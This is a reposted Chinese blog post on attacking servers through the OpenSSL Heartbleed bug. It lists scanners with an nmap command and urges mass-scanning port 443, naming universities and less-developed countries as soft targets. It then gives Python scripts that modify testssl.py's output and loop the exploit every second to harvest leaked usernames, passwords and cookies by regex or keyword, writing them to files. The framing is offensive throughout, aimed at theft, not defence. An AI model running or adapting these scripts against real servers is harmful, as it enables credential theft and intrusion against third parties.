轉自http://www.lijiejie.com/openssl-heartbleed-attack/
penSSL Heartbleed漏洞的公開和流行讓許多人興奮了一把,也讓另一些人驚慌了一把。
單純從攻擊的角度講,我已知道的,網上公開的掃描工具有:
1. Nmap腳本ssl-heartbleed.nse: http://nmap.org/nsedoc/scripts/ssl-heartbleed.html
| nmap -sV --script=ssl-heartbleed <target> |
2. Jared Stafford的testssl.py: https://gist.github.com/sh1n0b1/10100394
3. CSHeartbleedScanner: http://www.crowdstrike.com/community-tools/
若想要批量尋找攻擊目標,可以直接掃目標IP段的443端口。高校和互聯網不發達的國家都是比較容易攻擊的。
得到活躍主機IP地址,再導入上述掃描器。
針對特定的某個攻擊目標,可以查看已經讀到的內容,利用正則表達式不停拉抓賬號密碼。
也可以根據關鍵詞,不停抓下cookie,賬號等。
將testssl.py的代碼修改爲不輸出偏移地址和非ascii字符,找到hexdump函數,修改爲:
|
def
hexdump(s):
pdat
=
''
for
b
in
xrange(0,
len(s),
16):
lin
=
[c
for
c
in
s[b
:
b
+
16]]
pdat
+=
''.join((c
if
32
<=
ord(c)
<=
126
else
'.'
)for
c
in
lin)
print
'%s'
%
(pdat.replace('......',
''),)
print
|
這樣就只輸出有用的ascii字符串了。
1. 正則表達式抓賬號
| import os import re import time accounts = [] while True: result = os.popen('openssl.py ').read() matches = re.findall('"db":"(.*?)","login":"(.*?)","password":"(.*?)"', result) for match in matches: if match not in accounts: accounts.append(match) with open('accounts.txt', 'a') as inFile: inFile.write(str(match) + '\n') print 'New Account:', match time.sleep(1.0) |
腳本間隔一秒鐘讀一次數據,發現正則匹配的賬號密碼,若之前沒出現過,就寫入accounts.txt文件。
這樣可以避免重複寫入同樣的賬號、密碼。
2. 根據關鍵詞抓數據
如果並不確定後臺地址,也不知道登錄請求、Cookie的格式,直接用關鍵詞抓賬號就行了。
類似下面的代碼:
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
|
import
os
import
re
import
time
accounts
=
[]
while
True:
result
=
os.popen('openssl.py
').read()
keywords
=
['system',
'password',
'passwd',
'admin']
for
word
in
keywords:
if
result.find(word)
>
0:
print
'new
data',
time.asctime()
with
open('data_1\\'
+
time.asctime().replace(':',
'
')
+
'.txt',
'w')
as
f:
f.write(result)
break
time.sleep(1.0)
|
這樣一旦返回的數據中存在關鍵詞passwd、password等,就會把數據寫入data_1文件夾下面,以時間命名。